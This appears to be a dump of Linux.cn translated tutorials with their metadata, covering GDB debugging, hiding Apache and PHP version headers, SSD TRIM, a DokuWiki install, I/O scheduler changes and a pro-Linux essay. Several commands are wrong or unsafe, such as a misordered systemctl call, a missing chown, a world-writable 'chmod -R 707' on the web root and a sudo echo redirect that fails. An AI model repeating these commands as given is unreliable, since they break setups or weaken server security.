Floating point exception (core dumped)
So, to debug the code, the first step would be to compile the program with -g. Here's the command:
gcc -g -Wall gdb-test.c -o gdb-test
Next up, let's run GDB and let it know which executable we want to debug. Here's the command for that:
gdb ./gdb-test
Now, the error I am getting is 'floating point exception,' and as most of you might already know, it's caused by n % x, when x is 0. So, with that in mind, I put a break point at line number 11, where the division is taking place. This was done in the following way:
(gdb)break 11
Note that '(gdb)' is the debugger's prompt. I just wrote the 'break' command.
Now, I asked GDB to start the execution of the program:
run
So, when the breakpoint was hit for the first time, here's what GDB showed in the output:
Breakpoint 1, main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
(gdb)
As you can see in the output above, the debugger showed the line where the breakpoint was put. Now, let's print the current value of 'out.' This can be done in the following way:
(gdb)print out$1 = 5
(gdb)
As you can see that the value '5' was printed. So, things are fine at the moment. I asked the debugger to continue the execution of the program until the next breakpoint, something which can be done using the 'c' command.
c
I kept on doing this work, until I saw that the value of 'out' was zero.
...
...
...
Breakpoint 1, main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
(gdb) print out
$2 = 99
(gdb) c
Continuing.
Breakpoint 1, main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
(gdb)print out$3 = 0
(gdb)
Now, to confirm this is the exact problem, I used GDB's 's' (or 'step') command instead of 'c' this time. I just wanted line 11, where the program execution currently stands paused, to execute, and see if crash occurs at this point.
Here's what happened:
(gdb) sProgram received signal SIGFPE, Arithmetic exception.
0x080484aa in main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
Yes, as confirmed by the highlighted output above, this is where the exception was thrown. The final confirmation came when I tried running the 's' command once again:
(gdb) s
Program terminated with signal SIGFPE, Arithmetic exception.
The program no longer exists.
So this way, you can debug your programs using GDB.
## Conclusion
We've just scratched the surface here, as GDB offers many features for users to explore and use. Go through the man page of GDB to learn more about the tool, and try using it whenever you're debugging something in your code. The debugger has a bit of a learning curve, but it's worth the hard work. |
8,175 | 如何隐藏 Apache 版本号和其它敏感信息 | http://www.tecmint.com/hide-apache-web-server-version-information/ | 2017-02-05T17:11:00 | [
"Apache"
] | https://linux.cn/article-8175-1.html | 当远程请求发送到你的 Apache Web 服务器时,在默认情况下,一些有价值的信息,如 web 服务器版本号、服务器操作系统详细信息、已安装的 Apache 模块等等,会随服务器生成的文档发回客户端。

这给攻击者利用漏洞并获取对 web 服务器的访问提供了很多有用的信息。为了避免显示 web 服务器信息,我们将在本文中演示如何使用特定的 Apache 指令隐藏 Apache Web 服务器的信息。
**推荐阅读:** [13 个有用的 Apache 服务器安全贴士](http://www.tecmint.com/apache-security-tips/)。
两个重要的指令是:
### ServerSignature
这允许在服务器生成的文档(如错误消息、mod*proxy 的 ftp 目录列表、mod*info 输出等等)下添加一个显示服务器名称和版本号的页脚行。
它有三个可能的值:
* `On` - 允许在服务器生成的文档中添加尾部页脚行,
* `Off` - 禁用页脚行
* `EMail` - 创建一个 “**mailto:**” 引用;用于将邮件发送到所引用文档的 ServerAdmin。
### ServerTokens
它决定了发送回客户端的服务器响应头字段是否包含服务器操作系统类型的描述和有关已启用的 Apache 模块的信息。
此指令具有以下可能的值(以及在设置特定值时发送到客户端的示例信息):
```
ServerTokens Full (或者不指定)
```
发送给客户端的信息: `Server: Apache/2.4.2 (Unix) PHP/4.2.2 MyMod/1.2`
```
ServerTokens Prod[uctOnly]
```
发送给客户端的信息: `Server: Apache`
```
ServerTokens Major
```
发送给客户端的信息: `Server: Apache/2`
```
ServerTokens Minor
```
发送给客户端的信息: `Server: Apache/2.4`
```
ServerTokens Min[imal]
```
发送给客户端的信息:`Server: Apache/2.4.2`
```
ServerTokens OS
```
发送给客户端的信息: `Server: Apache/2.4.2 (Unix)`
**注意**:在 Apache **2.0.44** 之后,`ServerTokens` 也控制由 `ServerSignature` 指令提供的信息。
**推荐阅读:** [5 个加速 Apache Web 服务器的贴士](http://www.tecmint.com/apache-performance-tuning/)。
为了隐藏 web 服务器版本号、服务器操作系统细节、已安装的 Apache 模块等等,使用你最喜欢的编辑器打开 Apache 配置文件:
```
$ sudo vi /etc/apache2/apache2.conf #Debian/Ubuntu systems
$ sudo vi /etc/httpd/conf/httpd.conf #RHEL/CentOS systems
```
添加/修改/附加下面的行:
```
ServerTokens Prod
ServerSignature Off
```
保存并退出文件,重启你的 Apache 服务器:
```
$ sudo systemctl apache2 restart #SystemD
$ sudo sevice apache2 restart #SysVInit
```
本篇中,我们解释了如何使用特定的 Apache 指令隐藏Apache web 服务器版本号及其他信息。
如果你在 Apache 中运行 PHP,我建议你[隐藏 PHP 版本号](/article-8176-1.html)。
如往常一样,你可以在评论栏中写下你的想法。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 及 web 开发者,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/hide-apache-web-server-version-information/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,176 | 如何在 HTTP 头中隐藏 PHP 版本号 | http://www.tecmint.com/hide-php-version-http-header/ | 2017-02-05T17:28:22 | [
"PHP",
"版本"
] | https://linux.cn/article-8176-1.html | PHP 配置默认允许服务器在 HTTP 响应头 `X-Powered-By` 中显示安装在服务器上的 PHP 版本。
出于服务器安全原因(虽然不是主要的要担心的威胁),建议你禁用或隐藏此信息,避免那些针对你的服务器的攻击者知道你是否运行了 PHP。

假设你服务器上安装的特定版本的 PHP 具有安全漏洞,而攻击者了解到这一点,他们将更容易利用漏洞并通过脚本访问服务器。
在我以前的文章中,我已经展示了[如何隐藏 apache 版本号](/article-8175-1.html),你已经看到如何不再显示 apache 的安装版本。但是如果你在你的 apache 服务器上运行 PHP,你还需要隐藏 PHP 的安装版本,这我们将在本文中展示。
因此,在本文中,我们将解释如何隐藏或关闭服务器 HTTP 响应头中的 PHP 版本号。
此设置可以在加载的 PHP 配置文件中配置。如果你不知道此配置文件在服务器上的位置,请运行以下命令找到它:
```
$ php -i | grep "Loaded Configuration File"
```
PHP 配置文件位置
```
---------------- 在 CentOS/RHEL/Fedora 上----------------
Loaded Configuration File => /etc/php.ini
---------------- 在 Debian/Ubuntu/Linux Mint 上----------------
Loaded Configuration File => /etc/php/7.0/cli/php.ini
```
在对 PHP 配置文件进行任何更改之前,我建议您首先备份您的 PHP 配置文件,如下所示:
```
----------------在 CentOS/RHEL/Fedora 上----------------
$ sudo cp /etc/php.ini /etc/php.ini.orig
---------------- 在 Debian/Ubuntu/Linux Mint 上----------------
$ sudo cp /etc/php/7.0/cli/php.ini /etc/php/7.0/cli/php.ini.orig
```
用你最喜欢的编辑器,使用超级用户权限打开文件:
```
---------------- 在 CentOS/RHEL/Fedora 上----------------
$ sudo vi /etc/php.ini
----------------在 Debian/Ubuntu/Linux Mint 上----------------
$ sudo vi /etc/php/7.0/cli/php.ini
```
定位到关键词 `expose_php`,并将值设置成 `Off`:
```
expose_php = Off
```
保存并退出文件。之后,重启 web 服务器:
```
---------------- 使用 SystemD ----------------
$ sudo systemctl restart httpd
或
$ sudo systemctl restart apache2
---------------- 使用 SysVInit ----------------
$ sudo service httpd restart
或
$ sudo service apache2 restart
```
最后,不过同样重要,使用下面的命令检查服务器 HTTP 响应头是否仍然显示你的 PHP 版本号。
```
$ lynx -head -mime_header http://localhost
或者
$ lynx -head -mime_header http://server-address
```
这里的标志含义是:
* `-head` – 发送一个请求 mime 报头的 HEAD 请求。
* `-mime_header` – 打印所提取文档的 MIME 标头及其源代码。
**注意**: 确保你系统中已经安装了[命令行 web 浏览器 lynx](http://www.tecmint.com/command-line-web-browsers/)。
就是这样了!在本文中,我们解释了如何隐藏服务器 HTTP 响应头中的 PHP 版本号以保护 web 服务器免受可能的攻击。你可以在下面的评论栏中留下你的想法或者相关的问题。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 及 web 开发者,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/hide-php-version-http-header/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,177 | 在 Linux 中使用 SSD(固态驱动器):启用 TRIM | https://opensource.com/article/17/1/solid-state-drives-linux-enabling-trim-ssds | 2017-02-05T18:49:00 | [
"磁盘",
"SSD"
] | https://linux.cn/article-8177-1.html | 
当我在运行 Linux 的计算机上安装我的第一块固态驱动器(SSD)后,我开始探索如何用好它们。SSD 在操作方式上与传统磁性驱动器不同,并且它们需要在软件上另行处理以达到功能优化。
在传统磁盘驱动器上,删除时所删除的文件不会从磁盘中完全删除。这就是为什么你可以恢复已删除的文件的原因。基本上,文件系统仅引用磁盘上文件的位置,并且当文件被删除时,该引用被擦除,以允许你在这些空间中写入新数据覆盖原来的数据。然而,对于 SSD,新数据只能写在驱动器上完全新的或已擦除的单元上。因为必须在写入之前清除空间,如果在写入文件时尚未有足够的可用空间,则必须首先擦除该空间。这可能会对性能产生负面影响。
如果操作系统在写入新数据之前就擦除了未使用的空间,而不是在写入时同时进行擦除,则可以提高文件保存性能。这种做法就是 [TRIM](https://en.wikipedia.org/wiki/Trim_(computing))。 TRIM 命令本质上允许你的操作系统告诉驱动器哪些区域的数据不再使用,以便擦除它们,加快驱动器将来的写入,可以 SSD 的用户提供更佳的体验。
在 Linux 中,`fstrim` 提供此功能,它可以为写入新数据而准备驱动器,并延长驱动器的使用寿命。由于在我使用的 Linux 发行版上 SSD 的 trim 不是自动的,所以必须去调度该操作,否则 SSD 的性能会随着时间的推移而降低。
为了在驱动器上运行 `fstrim`,驱动器本身以及其上的文件系统必须支持 TRIM。在文件系统挂载过程中可以启用 TRIM。例如,为了将设备 `/dev/sda2` 启用 TRIM 挂载到 `/mnt`,你要运行:
```
mount -t ext4 -o discard /dev/sda2 /mnt
```
一旦启用,TRIM 过程本身就相当简单。TRIM SSD 也可以在命令行或 cron 任务中手动完成。作为超级用户(使用 `su` 或 `sudo`),运行 `fstrim / -v` 以完成手动 trim,或者设置 cron 任务以在计算机未使用时定期为你运行此命令。对于 `fstrim` 的完整选项列表请参考它的 [man 手册](http://man7.org/linux/man-pages/man8/fstrim.8.html)。
硬件支持根据使用的驱动器接口类型如 PCI、[ATA](https://en.wikipedia.org/wiki/Trim_(computing)#ATA)、[SCSI](https://en.wikipedia.org/wiki/Trim_(computing)#SCSI) 还是 [SD/MMC](https://en.wikipedia.org/wiki/Trim_(computing)#SD.2FMMC) 而有所不同。你需要咨询你的 Linux 供应商以了解你的特定发行版是如何支持 TRIM 的。
例如,红帽提供以下 [SSD 磁盘指南](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/ch-ssd.html)。“性能随着所使用的块数接近磁盘容量而降低,性能影响程度因供应商而异,但是所有设备都会遇到一些性能降低。为了解决性能降低问题,主机系统(例如 Linux 内核)使用丢弃请求以通知存储器给定范围的块不再使用。”
[Debian wiki](https://wiki.debian.org/SSDOptimization) 提供了 SSD 使用的一些基本注意事项:使用 Linux 3.2 或更高版本内核,使用 SSD 的最新固件,使用 EXT4 文件系统,并且“在正常工作负载下有足够的 DRAM 用来操作而不用使用交换空间“。
---
作者简介:
Don Watkins - 教育家、教育技术专家、企业家、开源倡导者。教育心理学硕士、教育领导硕士、Linux 系统管理员、CCNA、使用 Virtual Box 虚拟化。关注我 @Don\_Watkins。
---
via: <https://opensource.com/article/17/1/solid-state-drives-linux-enabling-trim-ssds>
作者:[Don Watkins](https://opensource.com/users/don-watkins) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/%E6%A0%A1%E5%AF%B9%E8%80%85ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | After installing my first solid state drive (SSD) in a computer that was running Linux, I have begun to explore how to take care of them. Solid state drives are different than traditional magnetic drives in the way that they operate, and they require different care from the software side in order to function optimally.
On traditional magnetic drives, deleted files are not completely removed from the disk at the time of deletion. This is why you can recover deleted files. Essentially, the filesystem just references the location of a file on the disk, and when a file is deleted, that reference is erased, allowing you to write new data over old data in these blank spaces. However, with SSDs, new data can only be written on completely new or erased cells of the drive. Because the space must be cleared prior to a write, if enough free space is not already available at the time a file is being written, it must be erased first. This can negatively affect performance.
If the operating system were to erase unused space before writing new data, at a time when the device is not simultaneously trying to write, file saving performance could be improved. Enter [TRIM](https://en.wikipedia.org/wiki/Trim_(computing)). A TRIM command essentially allows your operating system to tell the drive which areas of data are no longer being used so that it come wipe them, speeding up the drive for future writes, and providing users of SSDs with a more optimum experience.
In Linux, **fstrim** provides this functionality, readying the drive for new data to be written and extends the life of the drive over the long term. Since trimming SSDs is not automatic on the Linux distributions that I have used, it is imperative that it be scheduled or the performance of the SSD will degrade over time.
In order to run fstrim on a drive, the drive itself, as well as the file system sitting on top of it, must support TRIM. Enabling TRIM can be done during the filesystem mounting process. For example, in order to mount the device **/dev/sda2** to **/mnt** with TRIM enabled, you would run:
```
````mount -t ext4 -o discard /dev/sda2 /mnt`
TOnce enabled, the TRIM process itself is rather simple. Trimming your SSD can also be accomplished manually on the command line or in a cron job. As a super user (using su or sudo), run **fstrim / -v** to accomplish manual trimming, or set up a cron job to run this command for you on a regular basis when your computer is not in use. And for a complete list of fstrim, options refer to its [man page](http://man7.org/linux/man-pages/man8/fstrim.8.html).
Hardware support varies depending on the type of drive interface used whether PCI, [ATA](https://en.wikipedia.org/wiki/Trim_(computing)#ATA), [SCSI](https://en.wikipedia.org/wiki/Trim_(computing)#SCSI) or [SD/MMC](https://en.wikipedia.org/wiki/Trim_(computing)#SD.2FMMC). It's also worth consulting with your Linux vendor to learn more about how your particular distribution may support TRIM.
For example, Red Hat offers the following the [SSD disk guidelines](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/ch-ssd.html). "Performance degrades as the number of used blocks approaches the disk capacity. The degree of performance impact varies greatly by vendor. However, all devices experience some degradation. To address the degradation issue, the host system (for example, the Linux kernel) may use discard requests to inform the storage that a given range of blocks is no longer in use."
The [Debian wiki ](https://wiki.debian.org/SSDOptimization)offers some basic cautions for SSD use: Use a Linux kernel 3.2 or newer, use the latest firmware for the SSD, use the EXT4 file system, and "have enough DRAM required to operate without swap space under normal workloads."
## 19 Comments |
8,178 | 在 Ubuntu 上使用 DokuWiki 构建你自己的 wiki | https://thishosting.rocks/build-your-own-wiki-on-ubuntu-with-dokuwiki/ | 2017-02-06T09:09:05 | [
"DokuWiki",
"维基"
] | https://linux.cn/article-8178-1.html | 我们在使用 [DokuWiki](https://github.com/splitbrain/dokuwiki),它是一个真棒的工具。我们团队有一个内部知识库,我们使用 DokuWiki 存储我们的所有评论、教程等。它很简单,并且易于安装和使用。在这篇文章中,我们将展示如何在 Ubuntu 16.04 服务器上安装 DokuWiki。

### 需求
DokuWiki 不需要太多依赖,因为它不需要数据库。这里是 DokuWiki 的要求:
* PHP 5.3.4 或更高版本(建议使用 PHP 7+)
* 一台 web 服务器(Apache/Nginx/任何其他)
* 一台 VPS。[买一台便宜的托管 VPS](http://click.aliyun.com/m/7604/),那么你就不必这样做了。你只需与支持团队联系,他们将会为您安装。
### 指导
在你开始之前,你应该升级你的系统。运行下面的命令:
```
sudo apt-get update && sudo apt-get upgrade
```
### 安装 Apache
我们需要一台用于我们 wiki 的 web 服务器。我们在本教程中使用 Apache,但你也可以使用 Nginx 或任何其他 web 服务器。用下面的命令安装apache:
```
apt-get install apache2
```
### 安装 PHP7 和模块
接下来,如果你还没有安装 PHP,你应该先安装 PHP。在本教程中,我们使用 PHP7。所以请使用下面的命令安装 PHP7 和一些其他 PHP 模块:
```
apt-get install php7.0-fpm php7.0-cli php-apcu php7.0-gd php7.0-xml php7.0-curl php7.0-json php7.0-mcrypt php7.0-cgi php7.0 libapache2-mod-php7.0
```
### 下载安装 DokuWiki
下面就来到主要部分了 - 实际安装 DokuWiki。
首先,为你的 DokuWiki 创建一个目录:
```
mkdir -p /var/www/thrwiki
```
进入你刚才创建的目录:
```
cd /var/www/thrwiki
```
运行下面的命令来下载最新(稳定)的 DokuWiki:
```
wget http://download.dokuwiki.org/src/dokuwiki/dokuwiki-stable.tgz
```
解压 .tgz 文件:
```
tar xvf dokuwiki-stable.tgz
```
更改文件/文件夹权限:
```
www-data:www-data -R /var/www/thrwiki
chmod -R 707 /var/www/thrwiki
```
### 为 DokuWiki 配置 Apache
为你的 DokuWiki 创建一个 .conf 文件(我们把它命名为 `thrwiki.conf`,但是你可以把它命名成任何你想要的),并用你喜欢的文本编辑器打开。我们使用 nano:
```
touch /etc/apache2/sites-available/thrwiki.conf
ln -s /etc/apache2/sites-available/thrwiki.conf /etc/apache2/sites-enabled/thrwiki.conf
nano /etc/apache2/sites-available/thrwiki.conf
```
下面是 thrwiki.conf 中的内容:
```
<VirtualHost yourServerIP:80>
ServerAdmin [email protected]
DocumentRoot /var/www/thrwiki/
ServerName wiki.thishosting.rocks
ServerAlias www.wiki.thishosting.rocks
<Directory /var/www/thrwiki/>
Options FollowSymLinks
AllowOverride All
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/wiki.thishosting.rocks-error_log
CustomLog /var/log/apache2/wiki.thishosting.rocks-access_log common
</VirtualHost>
```
编辑与你服务器相关的行。将 `[email protected]`、`wiki.thishosting.rocks` 替换成你自己的数据,重启 apache 使更改生效:
```
systemctl restart apache2.service
```
就是这样了。现在已经配置完成了。现在你可以继续通过前端页面 http://wiki.thishosting.rocks/install.php 安装配置 DokuWiki 了。安装完成后,你可以用下面的命令删除 install.php:
```
rm -f /var/www/html/thrwiki/install.php
```
如果你需要任何帮助,请随意留下评论。
---
via: <https://thishosting.rocks/build-your-own-wiki-on-ubuntu-with-dokuwiki/>
作者:[thishostrocks.com](https://twitter.com/thishostrocks) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | We use [DokuWiki](https://github.com/splitbrain/dokuwiki) and it’s awesome. Our team has an internal knowledgebase and we use DokuWiki to store all our reviews, tutorials etc. It’s simple, easy to install and easy to use. Most importantly, it’s not resource-heavy. In this post, we’re going to show you how to install DokuWiki on an Ubuntu 16.04 server.
## Requirements
DokuWiki doesn’t need much since it doesn’t need a database. Here are the requirements of DokuWiki:
- PHP 5.3.4 or newer (PHP 7+ recommended)
- A web server (Apache/Nginx/Any other)
- A VPS.
[Get a cheap managed VPS](https://thishosting.rocks/best-cheap-managed-vps/)and you won’t have to do any of this. Just contact the support team and they will install it for you.
## Instructions
Before you do anything, you should upgrade your system. Run the following command:
sudo apt-get update && sudo apt-get upgrade
### Install Apache
We are going to need a web server for our wiki. We’ll be using Apache for our tutorial, but you can also use Nginx or any other web server. Install apache with:
apt-get install apache2
### Install PHP7 and modules
Next, you should install PHP if you don’t already have it installed. In this tutorial, we’ll be using PHP7. So, install PHP7 and a few other PHP modules with the following command:
apt-get install php7.0-fpm php7.0-cli php-apcu php7.0-gd php7.0-xml php7.0-curl php7.0-json php7.0-mcrypt php7.0-cgi php7.0 libapache2-mod-php7.0
### Download and install DokuWiki
Here comes the main part – the actual installation of DokuWiki.
First, create a directory for your DokuWiki:
mkdir -p /var/www/thrwiki
Navigate to the directory you just created:
cd /var/www/thrwiki
Run the following command to download the latest (stable) version of DokuWiki:
wget http://download.dokuwiki.org/src/dokuwiki/dokuwiki-stable.tgz
Unpack the .tgz file:
tar xvf dokuwiki-stable.tgz
Change some file/folder permissions:
www-data:www-data -R /var/www/thrwiki chmod -R 707 /var/www/thrwiki
## Configure Apache for DokuWiki
Create a .conf file for your DokuWiki (we’ll name it thrwiki.conf, but you can name it however you want) and open it with your favorite text editor. We’ll be using nano:
touch /etc/apache2/sites-available/thrwiki.conf ln -s /etc/apache2/sites-available/thrwiki.conf /etc/apache2/sites-enabled/thrwiki.conf nano /etc/apache2/sites-available/thrwiki.conf
<VirtualHost yourServerIP:80> ServerAdmin [email protected] DocumentRoot /var/www/thrwiki/ ServerName wiki.thishosting.rocks ServerAlias www.wiki.thishosting.rocks <Directory /var/www/thrwiki/> Options FollowSymLinks AllowOverride All Order allow,deny allow from all </Directory> ErrorLog /var/log/apache2/wiki.thishosting.rocks-error_log CustomLog /var/log/apache2/wiki.thishosting.rocks-access_log common </VirtualHost>
systemctl restart apache2.service
rm -f /var/www/html/thrwiki/install.php
Feel free to leave a comment below if you need any help.
## 5 thoughts on “Build your own wiki on Ubuntu with DokuWiki”
I guess to change folder owner and group you should write:
chown www-data:www-data -R /var/www/thrwiki
Also, I use a Docker image to deploy very fast a DokuWiki.
can you explain in detail how you build and deploy a docker image with dokuwiki please?
I’m new to servers and linux, and you say: “Edit the lines to correspond with your server setup. Replace [email protected], wiki.thishosting.rocks etc with your own data” how do I get my own information for my own server? I have a server that I program with, not sure if that’s the same thing, but I’m not sure that I have an address that corresponds with it? I hope you can make sense of my question. Thanks.
You’ll first need to own a domain name. You can get one from Namecheap https://thishosting.rocks/neamcheap-review-cheap-domains-cool-names/
After that, you’ll need to configure your domain name’s DNS settings to correspond with your server’s IP.
And finally you’ll need to replace each email and domain mentioned in this post with your own domain name.
For install PHP 7.4
sudo apt update
sudo apt install php php-cli php-fpm php-json php-common php-mysql php-zip php-gd php-mbstring php-curl php-xml php-pear php-bcmath
BR |
8,179 | 如何更改 Linux I/O 调度器来调整性能 | http://www.techrepublic.com/article/how-to-change-the-linux-io-scheduler-to-fit-your-needs/ | 2017-02-06T09:39:00 | [
"内核",
"调度器"
] | https://linux.cn/article-8179-1.html |
>
> 为了从 Linux 服务器榨取尽可能多的性能,请了解如何更改 I/O 调度器以满足你的需求。
>
>
>

<ruby> Linux I/O 调度器 <rp> ( </rp> <rt> Linux I/O scheduler </rt> <rp> ) </rp></ruby>控制内核提交读写请求给磁盘的方式。自从 2.6 内核以来,管理员已经能够更改这个调度器,所以他们可以自定义他们的平台以完全适合他们的需要。
有三个调度器可供选择,每个调度器都有其优点。这些调度器是:
* **[CFQ](https://en.wikipedia.org/wiki/Completely_Fair_Scheduler)** (<ruby> Completely Fair Scheduler <rp> ( </rp> <rt> 完全公平调度器 </rt> <rp> ) </rp></ruby>)**(cfq)** :它是许多 Linux 发行版的默认调度器;它将由进程提交的同步请求放到多个进程队列中,然后为每个队列分配时间片以访问磁盘。
* **[Noop 调度器](https://en.wikipedia.org/wiki/Noop_scheduler)(noop)** : 基于先入先出(FIFO)队列概念的 Linux 内核里最简单的 I/O 调度器。此调度程序最适合于 SSD。
* **[截止时间调度器](https://en.wikipedia.org/wiki/Deadline_scheduler)(deadline)** : 尝试保证请求的开始服务时间。
当你想要让 Linux 机器发挥最佳性能时,这可能是你所要做的事情之一。幸运的是,更改 I/O 调度器非常简单。让我告诉你怎么做。
### 找出你有的调度器
你需要做的第一件事是找出哪个调度器正在处理你系统上的 I/O。这是从命令行完成的,你必须知道磁盘的名称。为简单起见,我假设磁盘是 sda。据此信息,打开终端窗口并输入以下命令:
```
cat /sys/block/sda/queue/scheduler
```
该命令的结果将显示当前运行的调度程序(下图)。

*Elementary OS Loki 运行 deadline 调度器。*
### 更改你的调度器
你可以通过两种方式更改你的调度器:即时或永久。如果你即时更改调度器,它会在重启后恢复到之前的默认调度器。你可能希望首先进行即时更改,以查看哪个调度器能为你的需求带来最佳性能。
说到你要即时改到 noop 调度器。 为此,输入以下命令:
```
sudo echo noop > /sys/block/hda/queue/scheduler
```
你可以将 `noop` 更改为 `cfq` 或 `deadline`。
此更改可以在不重新启动计算机的情况下生效。 一旦更改,I/O 调度器将会切换,(希望)你能看到性能提高(再说一次,根据你的需要而定)。
如果要将调度器更改为永久,则必须在 GRUB 配置文件中执行此操作。 为此,请输入 `sudo nano /etc/default/grub`,然后修改下面的行:
```
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
```
到
```
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash elevator=noop"
```
同样,你可以改变 `noop` 为任何你需要的调度器。如果你用的是即时修改,则不必重新启动以使新调度器生效。
这些就是修改调度器的方法了。
### 做出明智的选择
你应该做研究,找出什么调度器最适合你的特殊情况。要了解每个调度器的更多信息,请查看这些 Wiki 页面:[CFS](https://en.wikipedia.org/wiki/Completely_Fair_Scheduler)、[Noop](https://en.wikipedia.org/wiki/Noop_scheduler)和 [Deadline](https://en.wikipedia.org/wiki/Deadline_scheduler)。
---
via: <http://www.techrepublic.com/article/how-to-change-the-linux-io-scheduler-to-fit-your-needs/>
作者:[Jack Wallen](http://www.techrepublic.com/meet-the-team/us/jack-wallen/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,180 | 今天就安装 Linux ! | http://www.tecmint.com/install-linux-today/ | 2017-02-07T11:37:00 | [
"Linux"
] | https://linux.cn/article-8180-1.html | 如果你在阅读本文,那么你可能是一个 Linux 新手或者是 Linux 的潜在用户。又或者我猜的都不对,你只是好奇于我所说的当今需要安装 Linux 的五大理由。
不管如何,我都欢迎你来看看我做出的解释。如果说你能够读完全文,记得使用下边的评论功能分享你的想法。

>
> **建议阅读:** [GNU/Linux,爱憎由之](/article-8195-1.html)
>
>
>
**声明**:以下列出的理由并非按照重要性顺序排列。也就是说,你可以从上到下或者以你愿意的顺序来进行阅读。
### 理由 1 – Linux 自由、免费
在 Linux 这个生态系统中,**“<ruby> 自由、免费 <rp> ( </rp> <rt> free </rt> <rp> ) </rp></ruby>”** 有两种含义:**1) <ruby> 自由使用 <rp> ( </rp> <rt> Free as in freedom </rt> <rp> ) </rp></ruby>** 以及 **2) <ruby> 免费使用 <rp> ( </rp> <rt> Free as in beer </rt> <rp> ) </rp></ruby>**。
第一个含义意味着,你可以自由使用 Linux 做你想要的任何事,比如个人使用或者商业用途。
第二个含义表明这样一个事实,多数 (**99%**) 的 Linux 发行版 (或者说,不同风格的 Linux) 都可以免费的下载和运行在大多数电脑上。
>
> **建议阅读:** [2016 年最流行的 Linux 发行版](http://www.tecmint.com/top-best-linux-distributions-2016/)
>
>
>
商业发行版经常应用到企业环境,以便获取其后公司的技术支持。红帽公司著名的 [红帽企业级 Linux](/article-3349-1.html) 就是这样一个例子。

*Linux 自由、免费*
### 理由 2 – Linux 可以使老旧设备起死回生
是的,你没看错。如果你有一部老旧电脑已经积满灰尘,因为它已经无法满足其他操作系统的硬件要求,那么 Linux 可以帮你拯救它。以我的经验来说,我第一台电脑 (2000 年末,我母亲给我的高中毕业礼物) 作为家庭服务器已经连续运行 5 年了 —— 一直在使用 Debian 最新的稳定版。
>
> **建议阅读:** [老旧电脑和笔记本值得尝试的 6 个 Linux 发行版](http://www.tecmint.com/linux-distributions-for-old-computers/)
>
>
>

*Linux 支持老旧设备*
### 理由 3 – Linux 是学习计算机如何工作的最好工具
即使是新手,访问并与电脑硬件进行交互也是相对容易的。通过诸如 [dmesg](https://linux.cn/tag-dmesg.html) (从内核中列出相关信息)等 命令行工具加上一点耐心,你可以很容易了解从你按下电源开关到加载好一个完整可用的系统到底发生了哪些事情。当然,这只是其中一个例子。

*学习 Linux*
### 理由 4 – Linux 是学习编程的最好工具
我常常说,要是我早些认识 Linux 该多好。安装好系统之后,它就具备了开始学习 [Python 编程](https://linux.cn/tag-python.html) 的必备工具。作为当今最流行的面向对象的编程语言之一,Python 在多所顶尖大学里都是计算机科学专业的主修课程。

*学习 Linux 及 Python 编程*
### 理由 5 – 大量自由的世界一流软件
当然,我知道这与 **理由 1** 多少有些相似,但我还是决定将其列为一个独立的理由。为何?因为这为我们强调了这样一个事实,我们今天所使用的软件大多数是来自于大量志愿者的努力。
是的,写出这些优秀软件的人员从中不挣一分钱。在某些情况下,也有些公司为软件的开发和维护提供资金。
>
> **建议阅读:** [2015 年我找到的 20 款自由开源的软件](http://www.tecmint.com/best-free-open-source-softwares-of-2015/)
>
>
>
Linux 系统是相当稳定的,所以他们都想要将他们的软件运行其中。这就是为什么很多公司愿意为 Linux 生态系统做出大量贡献的原因 (指捐赠或者提供人力)。

*自由开源软件*
### 总结
感谢你花费时间来阅读本文!关于我会第一时间建议他人使用的 Linux 的理由,我已经尽最大努力来阐述了。
如果你有不同于本文的意见,欢迎随时使用下方评论表单来分享您的观点。
---
作者简介:
Gabriel Cánepa - 一位来自<ruby> 阿根廷圣路易斯梅塞德斯镇 <rp> ( </rp> <rt> Villa Mercedes, San Luis, Argentina </rt> <rp> ) </rp></ruby> 的 GNU/Linux 系统管理员,Web 开发者。就职于一家世界领先级的消费品公司,乐于在每天的工作中能使用 FOSS 工具来提高生产力。
译者简介:
[GHLandy](http://GHLandy.com) —— 划不完粉腮柳眉泣别离。
---
via: <http://www.tecmint.com/install-linux-today/>
作者:[Gabriel Cánepa](http://www.tecmint.com/install-linux-today/) 译者:[GHLandy](https://github.com/GHLandy) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
